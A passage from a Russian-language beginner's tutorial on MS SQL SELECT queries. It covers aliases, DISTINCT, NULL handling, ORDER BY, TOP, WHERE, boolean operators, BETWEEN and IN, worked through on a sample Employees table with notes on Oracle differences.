> FROM Test.dbo.Employees -- имя_базы.имя_схемы.таблица
>
> ```
>
>
> Такое уточнение бывает полезным, например, если:
>
> * в одном запросе мы обращаемся к объектам расположенных в разных схемах или базах данных
> * требуется сделать перенос данных из одной схемы или БД в другую
> * находясь в одной БД, требуется запросить данные из другой БД
> * и т.п.
>
>
>
> Схема – очень удобное средство, которое полезно использовать при разработке архитектуры БД, а особенно крупных БД.
>
>
Так же не забываем, что в тексте запроса мы можем использовать как однострочные «-- …», так и многострочные «/\* … \*/» комментарии. Если запрос большой и сложный, то комментарии могут очень помочь, вам или кому-то другому, через некоторое время, вспомнить или разобраться в его структуре.
Если столбцов в таблице очень много, а особенно, если в таблице еще очень много строк, плюс к тому если мы делаем запросы к БД по сети, то предпочтительней будет выборка с непосредственным перечислением необходимых вам полей через запятую:
```
SELECT ID,Name
FROM Employees
```
Т.е. здесь мы говорим, что нам из таблицы нужно вернуть только поля ID и Name. Результат будет следующим (кстати оптимизатор здесь решил воспользоваться индексом, созданным по полю Name):
| ID | Name |
| --- | --- |
| 1003 | Андреев А.А. |
| 1000 | Иванов И.И. |
| 1001 | Петров П.П. |
| 1002 | Сидоров С.С. |
> **На заметку.** Порой бывает полезным посмотреть на то как осуществляется выборка данных, например, чтобы выяснить какие индексы используются. Это можно сделать если нажать кнопку «Display Estimated Execution Plan – Показать расчетный план» или установить «Include Actual Execution Plan – Включить в результат актуальный план выполнения запроса» (в данном случае мы сможем увидеть уже реальный план, соответственно, только после выполнения запроса):
>
>
>
> 
>
>
>
> Анализ плана выполнения очень полезен при оптимизации запроса, он позволяет выяснить каких индексов не хватает или же какие индексы вообще не используются и их можно удалить.
>
>
>
> Если вы только начали осваивать DML, то сейчас для вас это не так важно, просто возьмите на заметку и можете спокойно забыть об этом (может это вам никогда и не пригодится) – наша первоначальная цель изучить основы языка DML и научится правильно применять их, а оптимизация это уже отдельное искусство. Порой важнее, чтобы на руках просто был правильно написанный запрос, который возвращает правильные результат с предметной точки зрения, а его оптимизацией уже занимаются отдельные люди. Для начала вам нужно научиться просто правильно писать запросы, используя любые средства для достижения цели. Главная цель которую вы сейчас должны достичь – чтобы ваш запрос возвращал правильные результаты.
>
>
Задание псевдонимов для таблиц
------------------------------
При перечислении колонок их можно предварять именем таблицы, находящейся в блоке FROM:
```
SELECT Employees.ID,Employees.Name
FROM Employees
```
Но такой синтаксис обычно использовать неудобно, т.к. имя таблицы может быть длинным. Для этих целей обычно задаются и применяются более короткие имена – псевдонимы (alias):
```
SELECT emp.ID,emp.Name
FROM Employees AS emp
```
или
```
SELECT emp.ID,emp.Name
FROM Employees emp -- ключевое слово AS можно отпустить (я предпочитаю такой вариант)
```
Здесь emp – псевдоним для таблицы Employees, который можно будет использоваться в контексте данного оператора SELECT. Т.е. можно сказать, что в контексте этого оператора SELECT мы задаем таблице новое имя.
Конечно, в данном случае результаты запросов будут точно такими же как и для «SELECT ID,Name FROM Employees». Для чего это нужно будет понятно дальше (даже не в этой части), пока просто запоминаем, что имя колонки можно предварять (уточнять) либо непосредственно именем таблицы, либо при помощи псевдонима. Здесь можно использовать одно из двух, т.е. если вы задали псевдоним, то и пользоваться нужно будет им, а использовать имя таблицы уже нельзя.
> **На заметку.** В ORACLE допустим только вариант задания псевдонима таблицы без ключевого слова AS.
>
>
DISTINCT – отброс строк дубликатов
----------------------------------
Ключевое слово DISTINCT используется для того чтобы отбросить из результата запроса строки дубликаты. Грубо говоря представьте, что сначала выполняется запрос без опции DISTINCT, а затем из результата выбрасываются все дубликаты. Продемонстрируем это для большей наглядности на примере:
```
-- создадим для демонстрации временную таблицу
CREATE TABLE #Trash(
ID int NOT NULL PRIMARY KEY,
Col1 varchar(10),
Col2 varchar(10),
Col3 varchar(10)
)
-- наполним данную таблицу всяким мусором
INSERT #Trash(ID,Col1,Col2,Col3)VALUES
(1,'A','A','A'), (2,'A','B','C'), (3,'C','A','B'), (4,'A','A','B'),
(5,'B','B','B'), (6,'A','A','B'), (7,'A','A','A'), (8,'C','A','B'),
(9,'C','A','B'), (10,'A','A','B'), (11,'A',NULL,'B'), (12,'A',NULL,'B')
-- посмотрим что возвращает запрос без опции DISTINCT
SELECT Col1,Col2,Col3
FROM #Trash
-- посмотрим что возвращает запрос с опцией DISTINCT
SELECT DISTINCT Col1,Col2,Col3
FROM #Trash
-- удалим временную таблицу
DROP TABLE #Trash
```
Наглядно это будет выглядеть следующим образом (все дубликаты помечены одним цветом):
Теперь давайте рассмотрим где это можно применить, на более практичном примере – вернем из таблицы Employees только уникальные идентификаторы отделов (т.е. узнаем ID отделов в которых числятся сотрудники):
```
SELECT DISTINCT DepartmentID
FROM Employees
```
| DepartmentID |
| --- |
| 1 |
| 2 |
| 3 |
Здесь мы получили три строки, т.к. 2 сотрудника у нас числятся в одном отделе (ИТ).
Теперь узнаем в каких отделах, какие должности фигурируют:
```
SELECT DISTINCT DepartmentID,PositionID
FROM Employees
```
| DepartmentID | PositionID |
| --- | --- |
| 1 | 2 |
| 2 | 1 |
| 3 | 3 |
| 3 | 4 |
Здесь мы получили 4 строчки, т.к. повторяющихся комбинаций (DepartmentID, PositionID) в нашей таблице нет.
Ненадолго вернемся к DDL
------------------------
Так как данных для демонстрационных примеров начинает не хватать, а рассказать хочется более обширно и понятно, то давайте чуть расширим нашу таблицу Employess. К тому же немного вспомним DDL, как говорится «повторение – мать учения», и плюс снова немного забежим вперед и применим оператор UPDATE:
```
-- создаем новые колонки
ALTER TABLE Employees ADD
LastName nvarchar(30), -- фамилия
FirstName nvarchar(30), -- имя
MiddleName nvarchar(30), -- отчество
Salary float, -- и конечно же ЗП в каких-то УЕ
BonusPercent float -- процент для вычисления бонуса от оклада
GO
-- наполняем их данными (некоторые данные намерено пропущены)
UPDATE Employees
SET
LastName=N'Иванов',FirstName=N'Иван',MiddleName=N'Иванович',
Salary=5000,BonusPercent= 50
WHERE ID=1000 -- Иванов И.И.
UPDATE Employees
SET
LastName=N'Петров',FirstName=N'Петр',MiddleName=N'Петрович',
Salary=1500,BonusPercent= 15
WHERE ID=1001 -- Петров П.П.
UPDATE Employees
SET
LastName=N'Сидоров',FirstName=N'Сидор',MiddleName=NULL,
Salary=2500,BonusPercent=NULL
WHERE ID=1002 -- Сидоров С.С.
UPDATE Employees
SET
LastName=N'Андреев',FirstName=N'Андрей',MiddleName=NULL,
Salary=2000,BonusPercent= 30
WHERE ID=1003 -- Андреев А.А.
```
Убедимся, что данные обновились успешно:
```
SELECT *
FROM Employees
```
| ID | Name | … | LastName | FirstName | MiddleName | Salary | BonusPercent |
| --- | --- | --- | --- | --- | --- | --- | --- |
| 1000 | Иванов И.И. | | Иванов | Иван | Иванович | 5000 | 50 |
| 1001 | Петров П.П. | | Петров | Петр | Петрович | 1500 | 15 |
| 1002 | Сидоров С.С. | | Сидоров | Сидор | NULL | 2500 | NULL |
| 1003 | Андреев А.А. | | Андреев | Андрей | NULL | 2000 | 30 |
Задание псевдонимов для столбцов запроса
----------------------------------------
Думаю, здесь будет проще показать, чем написать:
```
SELECT
-- даем имя вычисляемому столбцу
LastName+' '+FirstName+' '+MiddleName AS ФИО,
-- использование двойных кавычек, т.к. используется пробел
HireDate AS "Дата приема",
-- использование квадратных скобок, т.к. используется пробел
Birthday AS [Дата рождения],
-- слово AS не обязательно
Salary ZP
FROM Employees
```
| ФИО | Дата приема | Дата рождения | ZP |
| --- | --- | --- | --- |
| Иванов Иван Иванович | 2015-04-08 | 1955-02-19 | 5000 |
| Петров Петр Петрович | 2015-04-08 | 1983-12-03 | 1500 |
| NULL | 2015-04-08 | 1976-06-07 | 2500 |
| NULL | 2015-04-08 | 1982-04-17 | 2000 |
Как видим заданные нами псевдонимы столбцов, отразились в заголовке результирующей таблицы. Собственно, это и есть основное предназначение псевдонимов столбцов.
Обратите внимание, т.к. у последних 2-х сотрудников не указано отчество (NULL значение), то результат выражения «LastName+' '+FirstName+' '+MiddleName» так же вернул нам NULL.
Для соединения (сложения, конкатенации) строк в MS SQL используется символ «+».
Запомним, что все выражения в которых участвует NULL (например, деление на NULL, сложение с NULL) будут возвращать NULL.
> **На заметку.**
>
> В случае ORACLE для объединения строк используется оператор «||» и конкатенация будет выглядеть как «LastName||' '||FirstName||' '||MiddleName». Для ORACLE стоит отметить, что у него для строковых типов есть исключение, для них NULL и пустая строка '' это одно и тоже, поэтому в ORACLE такое выражение вернет для последних 2-х сотрудников «Сидоров Сидор » и «Андреев Андрей ». На момент версии ORACLE 12c, насколько я знаю, опции которая изменяет такое поведение нет (если не прав, прошу поправить меня). Здесь мне сложно судить хорошо это или плохо, т.к. в одних случаях удобнее поведение NULL-строки как в MS SQL, а в других как в ORACLE.
>
>
>
> В ORACLE тоже допустимы все перечисленные выше псевдонимы столбцов, кроме […].
>
>
Для того чтобы не городить конструкцию с использованием функции ISNULL, в MS SQL мы можем применить функцию CONCAT. Рассмотрим и сравним 3 варианта:
```
SELECT
LastName+' '+FirstName+' '+MiddleName FullName1,
-- 2 варианта для замены NULL пустыми строками '' (получаем поведение как и в ORACLE)
ISNULL(LastName,'')+' '+ISNULL(FirstName,'')+' '+ISNULL(MiddleName,'') FullName2,
CONCAT(LastName,' ',FirstName,' ',MiddleName) FullName3
FROM Employees
```
| FullName1 | FullName2 | FullName3 |
| --- | --- | --- |
| Иванов Иван Иванович | Иванов Иван Иванович | Иванов Иван Иванович |
| Петров Петр Петрович | Петров Петр Петрович | Петров Петр Петрович |
| NULL | Сидоров Сидор | Сидоров Сидор |
| NULL | Андреев Андрей | Андреев Андрей |
В MS SQL псевдонимы еще можно задавать при помощи знака равенства:
```
SELECT
'Дата приема'=HireDate, -- помимо "…" и […] можно использовать '…'
[Дата рождения]=Birthday,
ZP=Salary
FROM Employees
```
Использовать для задания псевдонима ключевое слово AS или же знак равенства, наверное, больше дело вкуса. Но при разборе чужих запросов, данные знания могут пригодиться.
Напоследок скажу, что для псевдонимов имена лучше задавать, используя только символы латиницы и цифры, избегая применения '…', "…" и […], то есть использовать те же правила, что мы использовали при наименовании таблиц. Дальше, в примерах я буду использовать только такие наименования и никаких '…', "…" и […].
Основные арифметические операторы SQL
=====================================
| Оператор | Действие |
| --- | --- |
| + | Сложение (x+y) или унарный плюс (+x) |
| - | Вычитание (x-y) или унарный минус (-x) |
| \* | Умножение (x\*y) |
| / | Деление (x/y) |
| % | Остаток от деления (x%y). Для примера 15%10 даст 5 |
Приоритет выполнения арифметических операторов такой же, как и в математике. Если необходимо, то порядок применения операторов можно изменить используя круглые скобки — (a+b)\*(x/(y-z)).
И еще раз повторюсь, что любая операция с NULL дает NULL, например: 10+NULL, NULL\*15/3, 100/NULL – все это даст в результате NULL. Т.е. говоря просто неопределенное значение не может дать определенный результат. Учитывайте это при составлении запроса и при необходимости делайте обработку NULL значений функциями ISNULL, COALESCE:
```
SELECT
ID,Name,
Salary/100*BonusPercent AS Result1, -- без обработки NULL значений
Salary/100*ISNULL(BonusPercent,0) AS Result2, -- используем функцию ISNULL
Salary/100*COALESCE(BonusPercent,0) AS Result3 -- используем функцию COALESCE
FROM Employees
```
| ID | Name | Result1 | Result2 | Result3 |
| --- | --- | --- | --- | --- |
| 1000 | Иванов И.И. | 2500 | 2500 | 2500 |
| 1001 | Петров П.П. | 225 | 225 | 225 |
| 1002 | Сидоров С.С. | NULL | 0 | 0 |
| 1003 | Андреев А.А. | 600 | 600 | 600 |
| 1004 | Николаев Н.Н. | NULL | 0 | 0 |
| 1005 | Александров А.А. | NULL | 0 | 0 |
Немного расскажу о функции COALESCE:
```
COALESCE (expr1, expr2, ..., exprn) - Возвращает первое не NULL значение из списка значений.
```
Пример:
```
SELECT COALESCE(f1, f1*f2, f2*f3) val -- в данном случае вернется третье значение
FROM (SELECT null f1, 2 f2, 3 f3) q
```
В основном, я сосредоточусь на рассказе конструкций языка DML и по большей части не буду рассказывать о функциях, которые будут встречаться в примерах. Если вам непонятно, что делает та или иная функция поищите ее описание в интернет, можете даже поискать информацию сразу по группе функций, например, задав в поиске Google «MS SQL строковые функции», «MS SQL математические функции» или же «MS SQL функции обработки NULL». Информации по функциям очень много, и вы ее сможете без труда найти. Для примера, в библиотеке MSDN, можно узнать больше о функции COALESCE:
> **Вырезка из MSDN** Сравнение COALESCE и CASE
>
>
>
> Выражение COALESCE — синтаксический ярлык для выражения CASE. Это означает, что код COALESCE(expression1,...n) переписывается оптимизатором запросов как следующее выражение CASE:
>
>
>
>
> ```
> CASE
> WHEN (expression1 IS NOT NULL) THEN expression1
> WHEN (expression2 IS NOT NULL) THEN expression2
> ...
> ELSE expressionN
> END
>
> ```
>
Для примера рассмотрим, как можно воспользоваться остатком от деления (%). Данный оператор очень полезен, когда требуется разбить записи на группы. Например, вытащим всех сотрудников, у которых четные табельные номера (ID), т.е. те ID, которые делятся на 2:
```
SELECT ID,Name
FROM Employees
WHERE ID%2=0 -- остаток от деления на 2 равен 0
```
| ID | Name |
| --- | --- |
| 1000 | Иванов И.И. |
| 1004 | Николаев Н.Н. |
| 1002 | Сидоров С.С. |
ORDER BY – сортировка результата запроса
----------------------------------------
Предложение ORDER BY используется для сортировки результата запроса.
```
SELECT
LastName,
FirstName,
Salary
FROM Employees
ORDER BY LastName,FirstName -- упорядочить результат по 2-м столбцам – по Фамилии, и после по Имени
```
| LastName | FirstName | Salary |
| --- | --- | --- |
| Андреев | Андрей | 2000 |
| Иванов | Иван | 5000 |
| Петров | Петр | 1500 |
| Сидоров | Сидор | 2500 |
После имя поля в предложении ORDER BY можно задать опцию DESC, которая служит для сортировки этого поля в порядке убывания:
```
SELECT LastName,FirstName,Salary
FROM Employees
ORDER BY -- упорядочить в порядке
Salary DESC, -- 1. убывания Заработной Платы
LastName, -- 2. по Фамилии
FirstName -- 3. по Имени
```
| LastName | FirstName | Salary |
| --- | --- | --- |
| Иванов | Иван | 5000 |
| Сидоров | Сидор | 2500 |
| Андреев | Андрей | 2000 |
| Петров | Петр | 1500 |
> **Для заметки.** Для сортировки по возрастанию есть ключевое слово ASC, но так как сортировка по возрастанию применяется по умолчанию, то про эту опцию можно забыть (я не помню случая, чтобы я когда-то использовал эту опцию).
Стоит отметить, что в предложении ORDER BY можно использовать и поля, которые не перечислены в предложении SELECT (кроме случая, когда используется DISTINCT, об этом случае я расскажу ниже). Для примера забегу немного вперед используя опцию TOP и покажу, как например, можно отобрать 3-х сотрудников у которых самая высокая ЗП, с учетом что саму ЗП в целях конфиденциальности я показывать не должен:
```
SELECT TOP 3 -- вернуть только 3 первые записи из всего результата
ID,LastName,FirstName
FROM Employees
ORDER BY Salary DESC -- сортируем результат по убыванию Заработной Платы
```
| ID | LastName | FirstName |
| --- | --- | --- |
| 1000 | Иванов | Иван |
| 1002 | Сидоров | Сидор |
Конечно здесь есть случай, что у нескольких сотрудников может быть одинаковая ЗП и тут сложно сказать каких именно трех сотрудников вернет данный запрос, это уже нужно решать с постановщиком задачи. Допустим, после обсуждения с постановщиком данной задачи, вы согласовали и решили использовать следующий вариант – сделать дополнительную сортировку по полю даты рождения (т.е. молодым у нас дорога), а если и дата рождения у нескольких сотрудников может совпасть (ведь такое тоже не исключено), то можно сделать третью сортировку по убыванию значений ID (в последнюю очередь под выборку попадут те, у кого ID окажется максимальным – например, те кто был принят последним, допустим табельные номера у нас выдаются последовательно):
```
SELECT TOP 3 -- вернуть только 3 первые записи из всего результата
ID,LastName,FirstName
FROM Employees
ORDER BY
Salary DESC, -- 1. сортируем результат по убыванию Заработной Платы
Birthday, -- 2. потом по Дате рождения
ID DESC -- 3. и для полной однозначности результата добавляем сортировку по ID
```
Т.е. вы должны стараться чтобы результат запроса был предсказуемым, чтобы вы могли в случае разбора полетов объяснить почему в «черный список» попали именно эти люди, т.е. все было выбрано честно, по утверждённым правилам.
Сортировать можно так же используя разные выражения в предложении ORDER BY:
```
SELECT LastName,FirstName
FROM Employees
ORDER BY CONCAT(LastName,' ',FirstName) -- используем выражение
```
Так же в ORDER BY можно использовать псевдонимы заданные для колонок:
```
SELECT CONCAT(LastName,' ',FirstName) fi
FROM Employees
ORDER BY fi -- используем псевдоним
```
Стоит отметить что в случае использования предложения DISTINCT, в предложении ORDER BY могут использоваться только колонки, перечисленные в блоке SELECT. Т.е. после применения операции DISTINCT мы получаем новый набор данных, с новым набором колонок. По этой причине, следующий пример не отработает:
```
SELECT DISTINCT
LastName,FirstName,Salary
FROM Employees
ORDER BY ID -- ID отсутствует в итоговом наборе, который мы получили при помощи DISTINCT
```
Т.е. предложение ORDER BY применяется уже к итоговому набору, перед выдачей результата пользователю.
> **Примечание 1.** Так же в предложении ORDER BY можно использовать номера столбцов, перечисленных в SELECT:
>
>
>
>
> ```
> SELECT LastName,FirstName,Salary
> FROM Employees
> ORDER BY -- упорядочить в порядке
> 3 DESC, -- 1. убывания Заработной Платы
> 1, -- 2. по Фамилии
> 2 -- 3. по Имени
>
> ```
>
>
>
>
> Для начинающих выглядит удобно и заманчиво, но лучше забыть и никогда не использовать такой вариант сортировки.
>
>
>
> Если в данном случае (когда поля явно перечислены), такой вариант еще допустим, то для случая с использованием «\*» такой вариант лучше никогда не применять. Почему – потому что, если кто-то, например, поменяет в таблице порядок столбцов, или удалит столбцы (и это нормальная ситуация), ваш запрос может так же работать, но уже неправильно, т.к. сортировка уже может идти по другим столбцам, и это коварно тем что данная ошибка может обнаружиться очень нескоро.
>
>
>
> В случае, если бы столбы были явно перечислены, то в вышеуказанной ситуации, запрос либо бы продолжал работать, но также правильно (т.к. все явно определено), либо бы он просто выдал ошибку, что данного столбца не существует.
>
>
>
> Так что можете смело забыть, о сортировке по номерам столбцов.
>
>
> **Примечание 2.**
>
> В MS SQL при сортировке по возрастанию NULL значения будут отображаться первыми.
>
>
>
>
> ```
> SELECT BonusPercent FROM Employees ORDER BY BonusPercent
>
> ```
>
>
>
>
> Соответственно при использовании DESC они будут в конце
>
>
>
>
> ```
> SELECT BonusPercent FROM Employees ORDER BY BonusPercent DESC
>
> ```
>
>
>
>
> Если необходимо поменять логику сортировки NULL значений, то используйте выражения, например:
>
>
>
>
> ```
> SELECT BonusPercent FROM Employees ORDER BY ISNULL(BonusPercent,100)
>
> ```
>
>
>
>
> В ORACLE для этой цели предусмотрены 2 опции NULLS FIRST и NULLS LAST (применяется по умолчанию). Например:
>
>
>
>
> ```
> SELECT BonusPercent FROM Employees ORDER BY BonusPercent DESC NULLS LAST
>
> ```
>
>
>
>
> Обращайте на это внимание при переходе на ту или иную БД.
>
>
TOP – возврат указанного числа записей
--------------------------------------
> **Вырезка из MSDN.** TOP – ограничивает число строк, возвращаемых в результирующем наборе запроса до заданного числа или процентного значения. Если предложение TOP используется совместно с предложением ORDER BY, то результирующий набор ограничен первыми N строками отсортированного результата. В противном случае возвращаются первые N строк в неопределенном порядке.
>
>
Обычно данное выражение используется с предложением ORDER BY и мы уже смотрели примеры, когда нужно было вернуть N-первых строк из результирующего набора.
Без ORDER BY обычно данное предложение применяется, когда нужно просто посмотреть на неизвестную нам таблицу, в которой может быть очень много записей, в этом случае мы можем, для примера, попросить вернуть нам только первые 10 строк, но для наглядности мы скажем только 2:
```
SELECT TOP 2
*
FROM Employees
```
Так же можно указать слово PERCENT, для того чтобы вернулось соответствуй процент строк из результирующего набора:
```
SELECT TOP 25 PERCENT
*
FROM Employees
```
На моей практике чаше применяется именно выборка по количеству строк.
Так же с TOP можно использовать опцию WITH TIES, которая поможет вернуть все строки в случае неоднозначной сортировки, т.е. это предложение вернет все строки, которые равны по составу строкам, которые попадают в выборку TOP N, в итоге строк может быть выбрано больше чем N. Давайте для демонстрации добавим еще одного «Программиста» с окладом 1500:
```
INSERT Employees(ID,Name,Email,PositionID,DepartmentID,ManagerID,Salary)
VALUES(1004,N'Николаев Н.Н.','n.nikolayev@test.tt',3,3,1003,1500)
```
и введем еще одного сотрудника без указания должности и отдела с окладом 2000:
```
INSERT Employees(ID,Name,Email,PositionID,DepartmentID,ManagerID,Salary)
VALUES(1005,N'Александров А.А.','a.alexandrov@test.tt',NULL,NULL,1000,2000)
```
Теперь давайте выберем при помощи опции WITH TIES всех сотрудников, у которых оклад совпадает с окладами 3-х сотрудников, с самым маленьким окладом (надеюсь дальше будет понятно, к чему я клоню):
```
SELECT TOP 3 WITH TIES
ID,Name,Salary
FROM Employees
ORDER BY Salary
```
Здесь хоть и указано TOP 3, но запрос вернул 4 записи, т.к. значение Salary которое вернуло TOP 3 (1500 и 2000) оказалось у 4-х сотрудников. Наглядно это работает примерно следующим образом:
> **На заметку.**
>
> В разных БД TOP реализуется разными способами, в MySQL для этого есть предложение LIMIT, в котором дополнительно можно задать начальное смещение.
>
>
>
> В ORACLE 12c, тоже ввели свой аналог совмещающий функциональность TOP и LIMIT – ищите по словам «ORACLE OFFSET FETCH». До версии 12c для этой цели обычно использовался псевдостолбец ROWNUM.
>
>
А что же будет если применить одновременно предложения DISTINCT и TOP? На такие вопросы легко ответить, проводя эксперименты. В общем, не бойтесь и не ленитесь экспериментировать, т.к. большая часть познается именно на практике. Порядок слов в операторе SELECT следующий, первым идет DISTINCT, а после него идет TOP, т.е. если рассуждать логически и читать слева-направо, то первым применится отброс дубликатов, а потом уже по этому набору будет сделан TOP. Что-ж проверим и убедимся, что так и есть:
```
SELECT DISTINCT TOP 2
Salary
FROM Employees
ORDER BY Salary
```
| Salary |
| --- |
| 1500 |
| 2000 |
Т.е. в результате мы получили 2 самые маленькие зарплаты из всех. Конечно может быть случай что ЗП для каких-то сотрудников может быть не указанной (NULL), т.к. схема нам это позволяет. Поэтому в зависимости от задачи принимаем решение либо обработать NULL значения в предложении ORDER BY, либо просто отбросить все записи, у которых Salary равна NULL, а для этого переходим к изучению предложения WHERE.
WHERE – условие выборки строк
-----------------------------
Данное предложение служит для фильтрации записей по заданному условию. Например, выберем всех сотрудников работающих в «ИТ» отделе (его ID=3):
```
SELECT ID,LastName,FirstName,Salary
FROM Employees
WHERE DepartmentID=3 -- ИТ
ORDER BY LastName,FirstName
```
| ID | LastName | FirstName | Salary |
| --- | --- | --- | --- |
| 1004 | NULL | NULL | 1500 |
| 1003 | Андреев | Андрей | 2000 |
| 1001 | Петров | Петр | 1500 |
Предложение WHERE пишется до команды ORDER BY.
Порядок применения команд к исходному набору Employees следующий:
1. WHERE – если указано, то первым делом из всего набора Employees идет отбор только удовлетворяющих условию записей
2. DISTINCT – если указано, то отбрасываются все дубликаты
3. ORDER BY – если указано, то делается сортировка результата
4. TOP – если указано, то из отсортированного результата возвращается только указанное число записей
Рассмотрим для наглядности пример:
```
SELECT DISTINCT TOP 1
Salary
FROM Employees
WHERE DepartmentID=3
ORDER BY Salary
```
Наглядно это будет выглядеть следующим образом:
Стоит отметить, что проверка на NULL делается не знаком равенства, а при помощи операторов IS NULL и IS NOT NULL. Просто запомните, что на NULL при помощи оператора «=» (знак равенства) сравнивать нельзя, т.к. результат выражения будет так же равен NULL.
Например, выберем всех сотрудников, у которых не указан отдел (т.е. DepartmentID IS NULL):
```
SELECT ID,Name
FROM Employees
WHERE DepartmentID IS NULL
```
| ID | Name |
| --- | --- |
| 1005 | Александров А.А. |
Теперь для примера посчитаем бонус для всех сотрудников у которых указано значение BonusPercent (т.е. BonusPercent IS NOT NULL):
```
SELECT ID,Name,Salary/100*BonusPercent AS Bonus
FROM Employees
WHERE BonusPercent IS NOT NULL
```
Да, кстати, если подумать, то значение BonusPercent может равняться нулю (0), а так же значение может быть внесено со знаком минус, ведь мы не накладывали на данное поле никаких ограничений.
Хорошо, рассказав о проблеме, нам пока сказали считать, что если (BonusPercent<=0 или BonusPercent IS NULL), то это означает что у сотрудника так же нет бонуса. Для начала, как нам сказали, так и сделаем, реализуем это при помощи логического оператора OR и NOT:
```
SELECT ID,Name,Salary/100*BonusPercent AS Bonus
FROM Employees
WHERE NOT(BonusPercent<=0 OR BonusPercent IS NULL)
```
Т.е. здесь мы начали изучать булевы операторы. Выражение в скобках «(BonusPercent<=0 OR BonusPercent IS NULL)» проверяет на то что у сотрудника нет бонуса, а NOT инвертирует это значение, т.е. говорит «верни всех сотрудников которые не сотрудники у которых нет бонуса».
Так же данное выражение можно переписать и сразу сказав сразу «верни всех сотрудников, у которых есть бонус» выразив это выражением (BonusPercent>0 и BonusPercent IS NOT NULL):
```
SELECT ID,Name,Salary/100*BonusPercent AS Bonus
FROM Employees
WHERE BonusPercent>0 AND BonusPercent IS NOT NULL
```
Также в блоке WHERE можно делать проверку разного рода выражений с применением арифметических операторов и функций. Например, аналогичную проверку можно сделать, использовав выражение с функцией ISNULL:
```
SELECT ID,Name,Salary/100*BonusPercent AS Bonus
FROM Employees
WHERE ISNULL(BonusPercent,0)>0
```
Булевы операторы и простые операторы сравнения
----------------------------------------------
Да, без математики здесь не обойтись, поэтому сделаем небольшой экскурс по булевым и простым операторам сравнения.
Булевых операторов в языке SQL всего 3 – AND, OR и NOT:
| | |
| --- | --- |
| AND | логическое И. Ставится между двумя условиями (условие1 AND условие2). Чтобы выражение вернуло True, нужно, чтобы истинными были оба условия |
| OR | логическое ИЛИ. Ставится между двумя условиями (условие1 OR условие2). Чтобы выражение вернуло True, достаточно, чтобы истинным было только одно условие |
| NOT | инвертирует условие/логическое\_выражение. Накладывается на другое выражение (NOT логическое\_выражение) и возвращает True, если логическое\_выражение = False и возвращает False, если логическое\_выражение = True |
Для каждого булева оператора можно привести таблицы истинности где дополнительно показано какой будет результат, когда условия могут быть равны NULL:
Есть следующие простые операторы сравнения, которые используются для формирования условий:
| Условие | Значение |
| --- | --- |
| = | Равно |
| < | Меньше |
| > | Больше |
| <= | Меньше или равно |
| >= | Больше или равно |
| <>
!= | Не равно |
Плюс имеются 2 оператора для проверки значения/выражения на NULL:
| | |
| --- | --- |
| IS NULL | Проверка на равенство NULL |
| IS NOT NULL | Проверка на неравенство NULL |
Приоритет: 1) Все операторы сравнения; 2) NOT; 3) AND; 4) OR.
При построении сложных логических выражений используются круглые скобки:
```
((условие1 AND условие2) OR NOT(условие3 AND условие4 AND условие5)) OR (…)
```
Так же при помощи использования круглых скобок, можно изменить стандартную последовательность вычислений.
Здесь я постарался дать представление о булевой алгебре в достаточном для работы объеме. Как видите, чтобы писать условия посложнее без логики уже не обойтись, но ее здесь немного (AND, OR и NOT) и придумывали ее люди, так что все достаточно логично.
Идем к завершению второй части
------------------------------
Как видите даже про базовый синтаксис оператора SELECT можно говорить очень долго, но, чтобы остаться в рамках статьи, напоследок я покажу дополнительные логических операторы – BETWEEN, IN и LIKE.
BETWEEN – проверка на вхождение в диапазон
------------------------------------------
Этот оператор имеет следующий вид:
```
проверяемое_значение [NOT] BETWEEN начальное_ значение AND конечное_ значение
```
В роли значений могут выступать выражения.
Разберем на примере:
```
SELECT ID,Name,Salary
FROM Employees
WHERE Salary BETWEEN 2000 AND 3000 -- у кого ЗП в диапазоне 2000-3000
```
| ID | Name | Salary |
| --- | --- | --- |
| 1002 | Сидоров С.С. | 2500 |
| 1003 | Андреев А.А. | 2000 |
| 1005 | Александров А.А. | 2000 |
Собственно, BETWEEN это упрощенная запись вида:
```
SELECT ID,Name,Salary
FROM Employees
WHERE Salary>=2000 AND Salary<=3000 -- все у кого ЗП в диапозоне 2000-3000
```
Перед словом BETWEEN может использоваться слово NOT, которое будет осуществлять проверку значения на не вхождение в указанный диапазон:
```
SELECT ID,Name,Salary
FROM Employees
WHERE Salary NOT BETWEEN 2000 AND 3000 -- аналогично выражению NOT(Salary>=2000 AND Salary<=3000)
```
Соответственно, в случае использования BETWEEN, IN, LIKE вы можете так же объединять их с другими условиями при помощи AND и OR:
```
SELECT ID,Name,Salary
FROM Employees
WHERE Salary BETWEEN 2000 AND 3000 -- у кого ЗП в диапазоне 2000-3000
AND DepartmentID=3 -- учитывать сотрудников только отдела 3
```
IN – проверка на вхождение в перечень значений
----------------------------------------------
Этот оператор имеет следующий вид:
```
проверяемое_значение [NOT] IN (значение1, значение2, …)
```
Думаю, проще показать на примере:
```
SELECT ID,Name,Salary
FROM Employees
WHERE PositionID IN(3,4) -- у кого должность равна 3 или 4
```
| ID | Name | Salary |
| --- | --- | --- |
| 1001 | Петров П.П. | 1500 |
| 1003 | Андреев А.А. | 2000 |
| 1004 | Николаев Н.Н. | 1500 |
Т.е. по сути это аналогично следующему выражению:
```
SELECT ID,Name,Salary
FROM Employees
WHERE PositionID=3 OR PositionID=4 -- у кого должность равна 3 или 4
```
В случае NOT это будет аналогично (получим всех кроме тех, кто из отдела 3 и 4):
```
SELECT ID,Name,Salary
FROM Employees
WHERE PositionID NOT IN(3,4) -- аналогично выражению NOT(PositionID=3 OR PositionID=4)
```
Так же запрос с NOT IN можно выразить и через AND:
```
SELECT ID,Name,Salary
FROM Employees
WHERE PositionID<>3 AND PositionID<>4 -- равносильно PositionID NOT IN(3,4)
```
Учтите, что искать NULL значения при помощи конструкции IN не получится, т.к. проверка NULL=NULL вернет так же NULL, а не True:
```
SELECT ID,Name,DepartmentID
FROM Employees
WHERE DepartmentID IN(1,2,NULL) -- NULL записи не войдут в результат
```
В этом случае разбивайте проверку на несколько условий:
```
SELECT ID,Name,DepartmentID
FROM Employees
WHERE DepartmentID IN(1,2) -- 1 или 2
OR DepartmentID IS NULL -- или NULL
```
Или же можно написать что-то вроде:
```
SELECT ID,Name,DepartmentID
FROM Employees
WHERE ISNULL(DepartmentID,-1) IN(1,2,-1) -- если вы уверены, что в нет и не будет департамента с ID=-1
```
Думаю, первый вариант, в данном случае будет более правильным и надежным. Ну ладно, это всего лишь пример, для демонстрации того какие еще конструкции можно строить.
